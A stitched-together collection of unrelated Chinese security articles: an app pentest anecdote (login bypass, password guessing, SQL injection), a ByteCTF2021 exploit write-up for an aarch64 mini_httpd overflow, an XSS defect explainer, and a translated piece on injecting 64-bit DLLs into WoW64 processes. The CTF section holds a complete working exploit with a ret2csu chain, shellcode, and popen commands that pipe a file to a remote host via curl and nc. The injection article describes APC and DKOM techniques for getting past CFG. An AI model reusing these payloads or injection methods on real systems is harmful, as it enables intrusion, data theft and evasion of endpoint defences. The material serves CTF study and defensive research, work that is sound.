关注到UI有这个:
群文件里面下载到APP:
日常反编译看看代码:
Web2App,有几个开发方的接口地址,未见到目标地址。不过通过接口翻阅,找到目标地址:
木有日错...
web2app没有太多继续看代码的必要,模拟器抓包。
实名吐槽一下网易mumu Mac版,经常启动不成功,日常卡在99%,丢,耗时间。。。
箭头指出来打码的部分是一个数字,没有返回新Cookie什么的,铁定只是做了前端验证:
果不其然,基础思路首先是可以篡改返回值登陆绕过,其次是用户名可遍历。
然而登陆绕过并没有什么卵用:
图丢了,瞎画了一个,就是...在新设备登陆登陆需要管理员审核通过才行,太菜了绕不动. 可以篡改提交的审核信息, 应该有Xss, 但是没时间等...
日常遍历用户,找口令,不管能不能登陆成功,只要口令正确,唬住客户还是OK的。
口令1 Get。
然后日常fuzz接口。
(图丢了,瞎截的,最终结果是找到下图)
在一个接口的返回中找到另一个接口:
构造数据包:
之前的遍历出来的用户名起到了作用,可以查到一点点没卵用的信息,本能的测一下注入:
**前台注入Get。（0day?!）**
### 0x03 加载成功
丢,管理员和测试账号一个密码,并不复杂。。。
相关字典:
https://github.com/TheKingOfDuck/fuzzDicts
以上内容纯属虚构。遵纪守法的公民是不会挖洞的。 | 社区文章 |
# ByteCTF2021决赛 MasterOfHTTPD 复现与简要分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
队内大哥太顶了，大哥都快出了，我才找到漏洞位置ahhh，在赛后重新复现一下。
## 0x00 漏洞分析
首先通过ida分析，发现是个aarch64架构的mini_httpd，版本号为1.30。
mini_httpd是一个开源的小型HTTP服务器，我们从[这里](https://acme.com/software/mini_httpd/)下载源码，一方面是便于理解server工作逻辑；一方面是通过交叉编译，可以恢复大部分函数符号表，便于我们寻找漏洞点。
下载完源码之后我们修改文件夹中的makefile，将原始的编译工具指向aarch64架构的交叉编译工具，同时将去符号编译的选项注释。
直接进行一个make，可能会有链接库错误，提示crypt库不存在，在网上找一下对应版本的libcrypt库导入到本地的链接库文件夹即可。
重新make，得到带符号表的自己编译的mini_httpd
ida打开题目中的mini_httpd，并通过bindiff，将题目和自编译的mini_httpd进行比较，我们就可以恢复出题目中的大部分函数符号。
注意到在xcrypt的相似度与可信度最低，开始从这里分析，在这个函数中首先进行了base64的解密，然后调用了一个函数，根据传入的参数，在这个函数调用memcpy造成了0x77字节的栈溢出。
接下来是触发这个漏洞，通过对server的逆向和源码的阅读，漏洞在server进行basic认证时触发的，在mini_httpd中是通过对被访问资源的所在文件夹下是否存在`.htpasswd`来判断当前请求的资源是否需要认证，所以在比赛的过程中需要对靶机上的目录进行扫描，发现`/admin`路径下返回401状态码，需要认证。
## 0x01 漏洞利用
注意到，程序首先是从套接字读入所有输入保存在bss段上，再逐个字段对报文进行分析提取、申请堆保存，这就意味着，存在一个已知地址的内存，供我们保存相关字符串，来进行利用。
### aarch64下的ret2csu
aarch64下的ret2csu和x86下的大致一致，我们都可以利用这段gadget，来控制寄存器调用任意函数。首先通过0x407d9c这段依次对x20、x21、x22、x23、x24、x29、x30寄存器进行赋值，通过ret跳转至0x407d78，在对调用函数的参数进行布置，最后进行调用。
def ret2csu(func_addr, arg0, arg1, arg2, ret):
payload = p64(csu1_addr)
payload += p64(0) * 2 # padding
payload += p64(0x423000) # x29
payload += p64(csu2_addr) # x30
payload += p64(0)
payload += p64(1) # x20
payload += p64(func_addr) # x21
payload += p64(arg0) # x22 (x0)
payload += p64(arg1) # x23 (x1)
payload += p64(arg2) # x24 (x2)
payload += p64(0)
payload += p64(ret)
return payload
接下来我们通过两种方式来获得flag。
### 回传flag到VPS
server中引入了popen函数，可供我们进行rce。在bss段中布置相关command和popen的plt地址，然后构造ret2csu的链，利用ret2csu调用popen来执行任意指令，在这里我们使用curl结合反引号来进行数据的回传。
def gen1():
bss_plt_addr = 0x423280 + 0x300
cmd_addr = 0x423280 + 0x308
mode_addr = 0x423280 + 0x2e0
popen_plt = 0x401BC0
message = "GET /admin/ HTTP/1.1\r\n"
message += "Authorization: Basic {0}\r\n"
message += "\r\n"
payload = b'a' * 0x108
payload += ret2csu(bss_plt_addr, cmd_addr, mode_addr, 0, 0)
message = message.format(b64encode(payload).decode()).encode()
message = message.ljust(0x2e0, b'\x00')
message += b'r\x00'
message = message.ljust(0x300, b'\x00')
message += p64(popen_plt)
message += b'curl http://127.0.0.1:23334 -X POST -d `cat flag`'
return message
### 利用shellcode读取flag写入套接字输出流
server中还引入了mprotect函数，首先通过ret2csu调用mprotect，将bss段所在页改为可执行页，再跳转至shellcode，shellcode是将flag读入并输出到套接字输出流中，socket连接的文件描述符需要多尝试几次即可成功。
def gen2():
bss_plt_addr = 0x423280 + 0x300
mprotect_plt = 0x401F20
flag_addr = 0x423280 + 0x500
shellcode_addr = 0x423280 + 0x308
strflag_addr = 0x423280 + 0x2e0
message = "GET /admin/ HTTP/1.1\r\n"
message += "Authorization: Basic {0}\r\n"
message += "\r\n"
payload = b'a' * 0x108
payload += ret2csu(bss_plt_addr, 0x423280 & 0xfff000, 0x2000, 7, shellcode_addr)
shellcode = f'''
/*openat(-100,"flag",0,0)*/
mov x0,#0xff9c
movk x0, #0xffff, lsl #0x10
movk x0, #0xffff, lsl #0x20
movk x0, #0xffff, lsl #0x30
mov x1, #{strflag_addr&0xffff}
movk x1, #{strflag_addr>>16}, lsl #0x10
mov x2, #0
mov x3, #0
mov x8, #0x38
svc 0
/*read(fd,flag_addr,0x100)*/
mov x1, #{flag_addr&0xffff}
movk x1, #{flag_addr>>16}, lsl #0x10
mov x2, #0x100
mov x8, #0x3f
svc 0
/*write(6,flag_addr,0x100)*/
mov x0, #6
mov x1, #{flag_addr&0xffff}
movk x1, #{flag_addr>>16}, lsl #0x10
mov x2, #0x100
mov x8, #0x40
svc 0
'''
message = message.format(b64encode(payload).decode()).encode()
message = message.ljust(0x2e0, b'\x00')
message += b'/flag\x00'
message = message.ljust(0x300, b'\x00')
message += p64(mprotect_plt)
message += asm(shellcode)
return message
### 完整exp
#!/usr/bin/python3
# coding=utf-8
from pwn import *
from base64 import b64encode
context.arch = 'aarch64'
debug = 1
ip = '10.205.45.177'
port = 12346
if debug:
context.log_level = 'debug'
io = remote(ip, port)
csu1_addr = 0x407d9c
csu2_addr = 0x407d78
def ret2csu(func_addr, arg0, arg1, arg2, ret):
payload = p64(csu1_addr)
payload += p64(0) * 2 # padding
payload += p64(0x423000) # x29
payload += p64(csu2_addr) # x30
payload += p64(0)
payload += p64(1) # x20
payload += p64(func_addr) # x21
payload += p64(arg0) # x22 (x0)
payload += p64(arg1) # x23 (x1)
payload += p64(arg2) # x24 (x2)
payload += p64(0)
payload += p64(ret)
return payload
def gen1():
bss_plt_addr = 0x423280 + 0x300
cmd_addr = 0x423280 + 0x308
mode_addr = 0x423280 + 0x2e0
popen_plt = 0x401BC0
message = "GET /admin/ HTTP/1.1\r\n"
message += "Authorization: Basic {0}\r\n"
message += "\r\n"
payload = b'a' * 0x108
payload += ret2csu(bss_plt_addr, cmd_addr, mode_addr, 0, 0)
message = message.format(b64encode(payload).decode()).encode()
message = message.ljust(0x2e0, b'\x00')
message += b'r\x00'
message = message.ljust(0x300, b'\x00')
message += p64(popen_plt)
message += b'cat flag | nc 10.205.45.171 23333\x00'
return message
def gen2():
bss_plt_addr = 0x423280 + 0x300
mprotect_plt = 0x401F20
flag_addr = 0x423280 + 0x500
shellcode_addr = 0x423280 + 0x308
strflag_addr = 0x423280 + 0x2e0
message = "GET /admin/ HTTP/1.1\r\n"
message += "Authorization: Basic {0}\r\n"
message += "\r\n"
payload = b'a' * 0x108
payload += ret2csu(bss_plt_addr, 0x423280 & 0xfff000, 0x2000, 7, shellcode_addr)
shellcode = f'''
/*openat(-100,"flag",0,0)*/
mov x0,#0xff9c
movk x0, #0xffff, lsl #0x10
movk x0, #0xffff, lsl #0x20
movk x0, #0xffff, lsl #0x30
mov x1, #{strflag_addr&0xffff}
movk x1, #{strflag_addr>>16}, lsl #0x10
mov x2, #0
mov x3, #0
mov x8, #0x38
svc 0
/*read(8,flag_addr,0x100)*/
mov x0, #8
mov x1, #{flag_addr&0xffff}
movk x1, #{flag_addr>>16}, lsl #0x10
mov x2, #0x100
mov x8, #0x3f
svc 0
/*write(6,flag_addr,0x100)*/
mov x0, #6
mov x1, #{flag_addr&0xffff}
movk x1, #{flag_addr>>16}, lsl #0x10
mov x2, #0x100
mov x8, #0x40
svc 0
'''
message = message.format(b64encode(payload).decode()).encode()
message = message.ljust(0x2e0, b'\x00')
message += b'flag\x00'
message = message.ljust(0x300, b'\x00')
message += p64(mprotect_plt)
message += asm(shellcode)
return message
io.sendline(gen1())
io.interactive()
## 0x02 总结
这道题的难点在于需要对server进行快速的分析，在这里使用一些其他方法(比如自编译进行bindiff，下载源码的进行阅读等)，而不是逆向死磕可能会高效很多，这道题的利用是相对简单的。对于异构题目来说，最大的难度永远是调试环境，无论是这道题还是决赛的另一道题目ezsc，在qemu中调试都出现难以理解、搞人心态的问题，看来arm的真机调试环境是必备的(x。 | 社区文章 |
# 【缺陷周话】第36期：弱验证
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、弱验证
弱验证是指由于应用程序验证不足导致浏览器执行恶意代码。当不受信任的数据进入 Web 应用程序，应用程序会动态生成网页，在页面生成期间，由于应用程序依靠
HTML、XML 或其他类型编码验证，而验证方式不足，程序并不会阻止 Web 浏览器解析可执行的内容，例如 JavaScript、HTML 标记、HTML
属性、鼠标事件、Flash、ActiveX等，这样生成的网页包含不受信任数据，攻击者可执行恶意代码攻击用户。本文以JAVA语言源代码为例，分析弱验证缺陷产生的原因以及修复方法。详细请参见：
* CWE ID 82: Improper Neutralization of Script in Attributes ofIMG Tags in a Web Page (http://cwe.mitre.org/data/definitions/82.html)
* CWE ID 83:Improper Neutralization of Script in Attributes in a WebPage (http://cwe.mitre.org/data/definitions/83.html)
* CWE ID 87:Improper Neutralization of Alternate XSS Syntax (http://cwe.mitre.org/data/definitions/87.html)
* CWE ID 692:Incomplete Blacklist to Cross-Site Scripting (http://cwe.mitre.org/data/definitions/692.html)。
## 2、 弱验证的危害
弱验证会导致XSS，无论是存储型XSS还是持久型XSS，XSS攻击的后果都是相同的。不同之处在于有效负载如何到达服务器。XSS可能会给最终用户带来各种问题，如蠕虫、帐户泄露。某些跨站点脚本漏洞可被利用来操纵或窃取cookie，创建可能被误认为有效用户的请求，破坏机密信息或在最终用户系统上执行恶意代码以用于各种恶意目的。
从2019年1月至2019年5月，CVE中共有668条漏洞信息与其相关。部分漏洞如下：
CVE | 概述
---|---
CVE-2019-9709 | 在 Mahara 17.10 、17.10.8、18.04、18.04.4、18.10 发现了一个问题。由于在查看集合的
SmartEvidence 概述页面（如果打开该功能）时没有转义，集合标题很容易受到跨站点脚本（XSS）的攻击。任何已登录的用户都可以利用此功能。
CVE-2019-1852 | Cisco Prime
网络注册器基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者对基于Web的界面的用户进行跨站点脚本（XSS）攻击。该漏洞是由于基于Web的管理界面对用户提供的输入的验证不充分，攻击者可以通过说服界面用户单击恶意链接来利用此漏洞。
CVE-2019-1701 |
思科自适应安全设备（ASA）软件和思科Firepower威胁防御（FTD）软件的WebVPN服务中的多个漏洞可能允许经过身份验证的远程攻击者对WebVPN门户网站的用户进行跨站点脚本攻击（XSS）攻击。存在漏洞是因为软件未充分验证受影响设备上的用户提供的输入。该漏洞可以允许攻击者在受影响的接口的上下文中执行任意脚本代码或访问敏感的基于浏览器的信息。
## 3、示例代码
本节中使用示例代码来源于 Benchmark
(https://www.owasp.org/index.php/Benchmark)，源文件名：BenchmarkTest00002.java。
### 3.1缺陷代码
上述示例代码是获取请求数据并将该数据与静态变量拼接并输出到网页中。第51行获取请求中的所有 Cookie 赋值给 Cookie 数组
theCookies，在第55行遍历 theCookies 并进行判断，当 Cookie 名为 “BenchmarkTest00002” 时对该
Cookie 进行以 UTF-8 解码并赋值给变量 param。第68行将静态常量 testfileDir 与 param 进行拼接赋值给
fileName。第71行~73行对 fileName 的内容进行 HTML
编码并输出到页面。其中Cookie为不受信任的数据，当Cookie中包含“<script>
</script>”，“<img>”标签时，Web浏览器会将以上内容默认为可执行的内容，导致XSS的产生。
使用代码卫士对上述示例代码进行检测，可以检出“弱验证”缺陷，显示等级为中。在代码行第72行报出缺陷，如图1所示：
图1：弱验证的检测示例
### 3.2 修复代码
在上述修复代码中，在第71行对 fileName 进行白名单过滤，再将过滤后的内容进行转义。这样可以更安全、有效地避免弱验证。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“弱验证”缺陷。如图2：
图2：修复后检测结果
## 4、 如何避免弱验证
1、对用户的输入进行合理验证（如年龄只能是数字），对特殊字符（如<、>、’、”以及javascript标签等进行过滤。
2、根据数据将要置于HTML上下文中的不同位置（HTML标签、HTML属性、JavaScript脚本、CSS、URL），对所有不可信数据进行恰当的输出编码。
3、设置HttpOnly属性，避免攻击者利用跨站脚本漏洞进行Cookie劫持攻击。 | 社区文章 |
# Part 1
## **简介**
这篇文章是由三部分组成的系列文章之中的第一篇，该系列文章描述了在 [WoW64](https://www.sentinelone.com/blog/now-stage-deep-hooks-monitoring-native-execution-wow64-applications/)应用程序(在64位Windows平台上运行的32位进程)中连接本机NTDLL时必须克服的困难。正如[某些来源](https://docs.microsoft.com/zh-cn/windows/desktop/WinProg64/wow64-implementation-details)所记录的那样，WoW64进程包含两个版本的NTDLL。第一个是专用的32位版本，它将系统调转到WoW64环境，并在那里进行调整以适应[x64
ABI](https://docs.microsoft.com/en-us/cpp/build/overview-of-x64-calling-conventions)。[第二个](https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-wow64-applications-part-2/)本机64位版本，由WoW64环境调用，最终负责用户模式到内核模式的转换。
由于在连接64位NTDLL时遇到了一些技术困难，大多数与安全相关的产品在这样的进程中只钩住了32位模块。唉，从攻击者的角度来看，绕过这些32位钩子与它们提供一些[众所周知](https://hitmanpro.wordpress.com/2015/11/10/mitigating-wow64-exploit-attacks/)的技术帮助相比是微不足道的。尽管如此，为了调用系统并执行其他各种任务，最终这些技术中的大多数会调用NTDLL的本机(即64位)版本。因此，通过连接本机NTDLL，端点保护解决方案可以更好地了解进程的操作，并在一定程度上对旁路通道的影响更有弹性。
本文中，我们将介绍将64位模块注入WoW64应用程序的方法。下一篇文章将更深入地研究其中一种方法，并深入研究处理CFG-aware系统需要修改的一些细节。本系列的最后一篇文章将介绍为了钩住64位的NTDLL，必须更改现成的挂钩引擎应用。
当我们开始这项研究时，我们决定把主要精力放在Windows 10上。我们提供的所有注入方法都在几个Windows
10版本(主要是RS2和RS3)上进行了测试，如果在较老的Windows版本上使用，可能需要不同的方法。
## **注入**
向WoW64应用程序中注入64位模块始终是可能的，尽管在这样做时需要考虑一些限制。通常，WoW64进程包含很少的64位模块，即本机`ntdll.dll`和组成WoW64环境本身的模块:`WoW64.dll`,`wow64cpu.dll`,
wow64win.dll。不幸的是，通常使用的Win32子系统dll的64位版本(例如`kernelbase.dll`, `kernel32.dll`,
`user32.dll`等)没有加载到进程的地址。强迫进程加载这些模块中的任何一个都是可能的，尽管[有些困难和不可靠](http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/#Issue_3_Loading_Kernel32dll_8211_Understanding_The_Constraints_and_Protections)。
因此，作为成功而可靠的注入的第一步，我们应该去掉候选模块的所有外部依赖项，除了本机NTDLL。在源代码级别，这意味着对更高级别Win32
api(如`VirtualProtect()`)的调用将必须被本地对应api(在本例中是`NtProtectVirtualMemory()`)的调用所取代。还需要进行其他修改，将在本系列的最后部分详细讨论。
图1 导入描述符的DLL (NTDLL)
### **wow64log.dll劫持**
正如之前Walied
Assar所发现的可知，在初始化时，WoW64环境尝试加载一个64位DLL，名为wow64log.dll直接从system32目录。如果找到这个DLL，它将被加载到系统中的每个WoW64进程中，因为它导出了一组特定的、定义良好的函数。dll目前并没有附带Windows的零售版本，这种机制实际上可以被滥用为注入方法，只需劫持这个dll并将我们自己的版本放到system32中。
图2 ProcMon捕获了一个WoW64进程并试图加载wow64log.dll
这种方法的主要优点在于它非常简单——注入模块所需要做的就是将其部署到前面提到的位置，然后让系统加载器完成剩下的工作。第二个优点是，加载这个DLL是WoW64初始化阶段的合法部分，因此它支持所有当前可用的64位Windows平台。
但是，这种方法有一些可能的缺点，比如`wow64log.dll`的Dll文件可能已经存在于system32目录中，尽管(如上所述)它在缺省情况下并不存在。其次，由于对`LdrLoadDll()`的底层调用最终是由系统代码发出的，因此该方法几乎不能控制注入过程。这限制了我们从注入中排除某些进程、指定模块何时加载的能力等等。
### **天堂之门**
只需自己对`LdrLoadDll()`发出调用，而不是让内置系统机制代我们调用，就可以实现更多对注入过程的控制。实际上，这并不像看上去那么简单。可以如此假设，32位图像加载器将拒绝任何加载64位图像的尝试，从而停止这种操作过程。因此，如果我们希望将本机模块加载到WoW64进程中，我们必须以某种方式通过本机加载器。我们可以分为两个阶段:
1.获得在目标进程中执行任意32位代码的能力。
2.对64位版本的`LdrLoadDll()`进行调用，将目标DLL的名称作为其参数之一传递。
如果能够在目标进程的上下文中执行32位代码([有很多方法](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process))，那么我们仍然需要一个可以自由调用64位api的方法。一种方法是利用所谓的“天堂之门”。
“天堂之门”是一种常用的技术的名称，它允许32位二进制文件执行64位指令，而无需通过WoW64环境强制执行的标准流。这通常通过用户发起的对代码段
[0x33的控制传输来完成](https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html)，代码段0x33将处理器的执行模式从32位兼容模式切换到64位长模式。
图3 一个执行x86代码的线程，在它转换到x64领域之前。
在跳转到x64领域之后，直接调用64位NTDLL的选项变得很容易。在使用漏洞和其他潜在恶意程序的情况下，这允许它们避免攻击放置在32位api上的钩子。对于DLL注入器，这解决了手头的问题，因为它打开了调用64位版本的LdrLoadDll()的可能性，该版本能够加载64位模块。
图4-出于演示目的，我们使用Blackbone库成功地使用Heaven 's Gate将64位模块注入WoW64进程。
我们将不再详细介绍“天堂之门”的具体实现，但好奇的读者可以在[这里](http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/)了解更多。
### **利用APC进行注入**
随着向系统中加载内核模式驱动程序的能力的提高，可供我们使用的注入方法的数量显著增加。在这些方法中，最流行的可能是[通过APC注入](http://rsdn.org/article/baseserv/InjectDll.xml):它被一些
[一些AV供应商](https://www.google.com/patents/CA2935248A1?cl=en)、[恶意开发者](http://www.kernelmode.info/forum/viewtopic.php?p=5518#p5518)广泛使用，甚至可能被
[ CIA](https://wikileaks.org/ciav7p1/cms/page_7995519.html)使用。
简而言之，APC(异步过程调用)是一种内核机制，它提供了一种在特定线程上下文中执行定制例程的方法。一旦被分派，APC将异步转移目标线程的执行流以调用所选的例程。
apc可分为两大类:
1. 内核模式`APCs: APC`例程最终将执行内核模式代码。这些被进一步分为特殊的内核模式的apc和普通的内核模式的apc，但是我们不会详细讨论 [它们之间的细微差别](http://www.opening-windows.com/download/apcinternals/2009-05/windows_vista_apc_internals.pdf)。
2. 用户模式`APCs: APC`例程最终将执行用户模式代码。只有当拥有apc的线程变得可警报时，才会发出用户模式apc。这是我们将在本节其余部分中讨论的APC类型。
apc主要用于系统级组件，用于执行各种任务(例如促进I/O完成)，但也可以用于DLL注入目的。从安全产品的角度来看，内核空间的APC注入提供了一种方便可靠的方法，可以确保特定模块被加载到(几乎)整个系统所需的每个进程中。
对于64位NT内核，负责初始调度用户模式APCs(用于本机64位进程和WoW64进程)的函数是从本机NTDLL导出的`KiUserApcDispatcher()`的64位版本。除非APC发行者另有明确要求(通过`PsWrapApcWow64Thread()`)，
APC例程本身也将执行64位代码，因此能够加载64位模块。
通过APC实现DLL注入的经典方法是使用所谓的“适配器thunk”。适配器thunk是写入目标进程地址空间的位置无关代码的一小段。它的主要目的是从用户模式APC的上下文中加载一个DLL，因此它将根据`KNORMAL_ROUTINE`规范接收它的参数:
图5 用户模式APC过程的原型，取自wdm.h**如上图所示，
如上图所示，KNORMAL_ROUTINE类型的函数接收三个参数，第一个参数是NormalContext。与WDM模型中的许多其他“上下文”参数一样，这个参数实际上是指向用户定义结构的指针。在我们的例子中，我们可以使用这个结构将以下信息传递到APC过程中:
1. 用于加载DLL的API函数的地址。在WoW64进程中，这必须是本地LdrLoadDll()，作为64位内核32的版本。dll没有加载到进程中，因此无法使用LoadLibrary()及其变体。
2. 我们希望加载到进程中的DLL的路径。
一旦适配器thunk被`KiUserApcDispatcher()`调用，它就会解包`NormalContext`，并使用给定的DLL路径和其他一些硬编码参数对提供的loader函数发出调用:
图6 典型的“适配器thunk”设置为用户模式APC的目标
为了更好地使用这种技术，我们编写了一个标准的内核级APC注入器，并对其进行了修改，使其能够支持向WoW64进程注入64位dll(如附录a所示)。尽管很有希望，但是当尝试将我们的DLL注入到任何支持CFG的WoW64进程时，进程崩溃了，并且出现了CFG验证错误。
图7 由于试图调用适配器thunk而导致的CFG验证错误
## 预告:
在下一篇文章中，我们将深入研究CFG的一些实现细节，以帮助理解这种注入方法失败的原因，并提出几种可能的解决方案来克服这个障碍。
## **附录**
### **附录A APC注入的完整源代码与适配器thunk**
> 原文：<https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-> wow64-applications-part-1/>
# Part 2
## **前情回顾**
在本系列的 [第一部分](https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-wow64-applications-part-1/)中，我们介绍了几种能够向[WoW64](https://www.sentinelone.com/blog/now-stage-deep-hooks-monitoring-native-execution-wow64-applications/)进程注入64位DLL的方法，最终目的是使用这个DLL在进程中钩住64位API函数。
我们通过APC提供注入完成了这篇文章，发现在CFG-aware进程测试时，注入DLL失败，导致进程崩溃。为什么要理解为这样，所以我们必须深入了解实现CFG的一些细节。
## **CFG简介**
CFG(控制流保护)是一个相对较新的漏洞缓解程序，最初在Windows 8.1更新3中引入，后来在Windows
10中得到增强。它是一种支持编译器的缓解措施，旨在通过防止对非合法目标的间接调用来对抗内存损坏漏洞。在每次间接函数调用之前，编译器会向位于NTDLL中的专用验证例程插入一个额外的调用。这个例程接收调用目标，并在8字节的粒度范围内检查它是否是函数的起始地址。如果不是，则安全检查失败(i)。
图8 Mimikatz，使用(右)和不使用(左)CFG编译
为了使这种验证更简单和高效，CFG使用了一个专门为此添加了新内存区域，称为CFG位图。在这个位图中，每个位表示进程地址空间中8字节的状态，并标记它们是否构成有效的调用目标。由于这种映射比率，位图必须是进程虚拟地址空间总数的1/64，在64位进程中可以得到相当大的-2TB，其总地址空间是128TB。
显然，在64位进程中，这个位图的大部分都是未提交的，因为实际上只使用了进程地址空间的很小一部分。只有在引入新的可执行页面时(通过直接分配虚拟内存、映射节对象的视图或将页保护更改为可执行文件)，内核才提交并设置位图中与该页对应的位。
## **WoW64进程中的CFG**
Alex Ionescu在他的 [博客文章](http://www.alex-ionescu.com/?p=300)《关闭“天堂之门”》中描述了WoW64工艺中CFG的一些独特特征。如图所示，支持CFG的WoW64进程不是一个而是两个单独的CFG位图:
* 一个本地位图，为进程中的64位代码标记有效的调用目标。由于这个位图必须对32位代码不可访问，所以它位于4GB边界之上，通常位于本机NTDLL的旁边。
* 一个WoW64位图，为进程中的32位代码标记有效的调用目标。它的预留大小是32MB，因为它只覆盖较低的4GB地址空间(32位代码可以在此运行)。显然，它总是位于4GB边界以下，通常在主图像旁边。
因为WoW64进程有两个CFG位图和两个版本的NTDLL加载到它们中，所以很自然地，还有两个版本的验证函数。该函数的32位版本根据WoW64位图检查提供的地址，而64位版本根据本机位图检查地址。
图9 32位的notepad.exe在Windows 10 x64上虚拟地址空间的快照。
如前所述，每当引入一个新的可执行页面时，内核都会在CFG位图中设置位。这就提出了一个问题，在WoW64进程中，哪一个位图受到了影响?正如Ionescu指出的，答案在于`MiSelectCfgBitMap()`和`MiSelectBitMapForImage()`函数，每当需要对CFG位图进行更改时，内存管理器都会调用这些函数。
图10 当内存被映射到进程时，部分调用堆栈显示对`MiSelectCfgBitMap()`和`MiSelectBitMapForImage()`的调用
这两个函数的伪代码如下:
图11.1 Windows 10 x64 RS3下`MiSelectCfgBitMap()`的伪代码。
图11.2 `MiSelectBitMapForImage()`的伪代码(同Windows 10 x64 RS3下)
从这两个函数可以得出一些结论:
1. 可以预料到所有32位模块都在WoW64位图中标记。
2. 所有64位模块都在本机位图中标记，包括那些映射到较低的4GB地址空间的模块。这很重要，因为否则本机NTDLL将无法与包含WoW64环境的本机dll进行互操作。例如，NTDLL甚至不能加载这些模块，因为对其入口点的调用将导致CFG验证逻辑失败。
3. 在4GB以下的所有私有内存分配都在WoW64位图中标记，不管谁分配它们或出于什么目的。正如机敏的读者可能已经注意到的那样，在图8所示的示例中，4GB边界以上的所有地址空间都被保留了(本地NTDLL和本地CFG位图除外)。由于内存不能从保留区域分配，这实际上意味着所有私有内存分配都将被单独标记在WoW64位图中。
现在很清楚为什么前面展示的使用APC的DLL注入技术注定会失败:尽管“适配器thunk”包含64位代码，但它是一个私有内存分配，因此它将填充WoW64位图。但是，负责APCs初始调度的函数是`KiUserApcDispatcher()`的64位版本，它将尝试根据本机位图验证thunk的地址，但没有成功。
因此，如果我们希望维护APC注入功能，我们必须以某种方式修改我们的技术以克服CFG验证问题。
## **APC注入回顾**
对于CFG实现的细节有一些预先的知识，可以建议使用`VmCfgCallTargetInformation`类调用`NtSetInformationVirtualMemory()`，将适配器thunk简单地标记为有效的调用目标。尽管这个选择很有前途，但实际上并不能解决问题。原因是在内部，`NtSetInformationVirtualMemory()`依赖于`MiSelectCfgBitMap()`来帮助决定哪一个位图应该受到影响。出于与前面描述的相同的原因，当与适配器thunk的地址一起提供时，`MiSelectCfgBitmap()`仍将返回WoW64位图，从而保持原生位图不变。
因为`NtSetInformationVirtualMemory()`内部依赖`MiSelectCfgBitMap()`故其只影响WoW64的版本。
在取消此解决方案的资格后，下一个要考虑的选项是找到一种方法，以某种方式“欺骗”`MiSelectCfgBitmap()`返回本机位图，就在分配适配器thunk的内存时。
## **“一个WoW64进程**
在查看图11.1中显示的MiSelectCfgBitmap()的伪代码时，可以清楚地看到，对于“真正的”64位进程，总是会返回本机位图。这是显而易见的，因为64位进程应该只有一个本地的CFG位图。因此，如果我们设法“本土化”WoW64进程，适配器thunk将会在本地位图中被标记，因此APC调度应该会按计划成功。
内核判断给定进程是否是本机进程的方法是探测EPROCESS结构的WoW64Process成员。如果将此成员设置为NULL，则认为该进程是本机进程，否则视为WoW64进程。
图12 在Windows 10 RS3中看到的`EPROCESS`结构的部分视图。注意，`Wow64Process`指针位于偏移量`0x428`处。
考虑到这一点，我们可以应用基于`DKOM-based`的解决方案，其中wow64进程在为适配器thunk分配内存之前被归零，然后恢复到初始值。
图13 使适配器“咚”一声占据本地位图的伪代码
附录B中给出的这个解决方案使我们的APC注入在支持cfg的WoW64进程中获得成功，并在Windows 10 RS3上进行了测试。
这种方法虽然简单，但也有一些明显的缺点。首先，需要修改的EPROCESS结构在很大程度上是没有文档记录的，并且在Windows版本之间
[经常更改](http://terminus.rewolf.pl/terminus/structures/ntdll/_EPROCESS_combined.html)。因此，结构内部的wow64进程的偏移量不能依赖于保持不变，必须在运行时进行试探性搜索。其次，清除WoW64Process成员可能会有一些意想不到的副作用和危险，尤其是在进程包含多个线程的情况下。
综上所述，这是使APC注入器在cfg敏感过程中工作的一个有效选择，但是它相当不稳定和不可靠，应该非常谨慎地使用。考虑到这些缺点，我们希望找到一个更可靠的问题解决方案，最好不依赖于私有的可执行内存分配。
## **Thunkless APC注入**
在初始化APC时，可以设置APC例程来指向我们选择的任何函数，无论是现有的函数还是我们专门为此目的创建的函数。这意味着——至少在理论上——我们可以通过创建一个APC来注入DLL，这个APC将直接调用本机`LdrLoadDll()`，而不需要通过适配器的“砰砰”声。显然，`LdrLoadDll()`是64位代码的有效调用目标，因此它可以充当APC目标，而不会触发CFG冲突。
但是，在二进制级别上似乎存在一个问题:`LdrLoadDll()`和`KNORMAL_ROUTINE`的原型不匹配。`LdrLoadDll()`需要4个参数，而KNORMAL_ROUTINE类型的函数似乎只接收3个参数:
图14.1 `LdrLoadDll()`的原型
图14.2 `KNORMAL_ROUTINE`的原型
不过,每个人都应该考虑`__fastcall`调用协定使用依照`x64 ABI`:每个函数的前四个参数传递给它通过寄存器RCX、RDX、R8
R9机型,所以当`LdrLoadDll()`将由`KiUserApcDispatcher()`无论值目前持有的R9机型将解释为第四个参数。根据上述原型，`LdrLoadDll()`接收到的第四个参数被声明为“`_out_phandle
ModuleHandle`”。这意味着要使`LdrLoadDll()`成功，R9必须包含一个指向可写内存位置的有效指针，该位置能够保存指针大小的数据。
不幸的是，由于标准的APC过程只需要三个参数，显然无法在APC初始化期间为第四个参数指定值。因此，R9在进入APC例程时所持有的值基本上是未知的。因此问题就出现了:我们能否以某种方式保证R9将持有一个有效的指针，以满足所有`LdrLoadDll()`需求?令人惊讶的是，这个问题的答案是肯定的，但是我们怎么能确定呢?
图15
`KeInitializeApc`和`KeInsertQueueApc`的原型。用户模式APC例程(NormalRoutine)的用户控制参数以红色突出显示。
在探索APC调度的一些内部方面的文章中，
[Skywing](http://www.nynaeve.net/?p=202)演示了64位的KiUserApcDispatcher()实际上向APC例程发送了第四个“隐藏”参数，指向一个上下文结构。这个结构保存了在APC调度进程完成时通过NtContinue()恢复的CPU状态。尽管这篇文章相当陈旧，但在Windows
10等较新的系统中查看KiUserApcDispatcher()的实现可以看出，这仍然适用:
图16 Windows 10 RS3中本机`NTDLL
KiUserApcDispatcher()`实现的一部分。注意，指向上下文结构的RSP被移动到R9中。
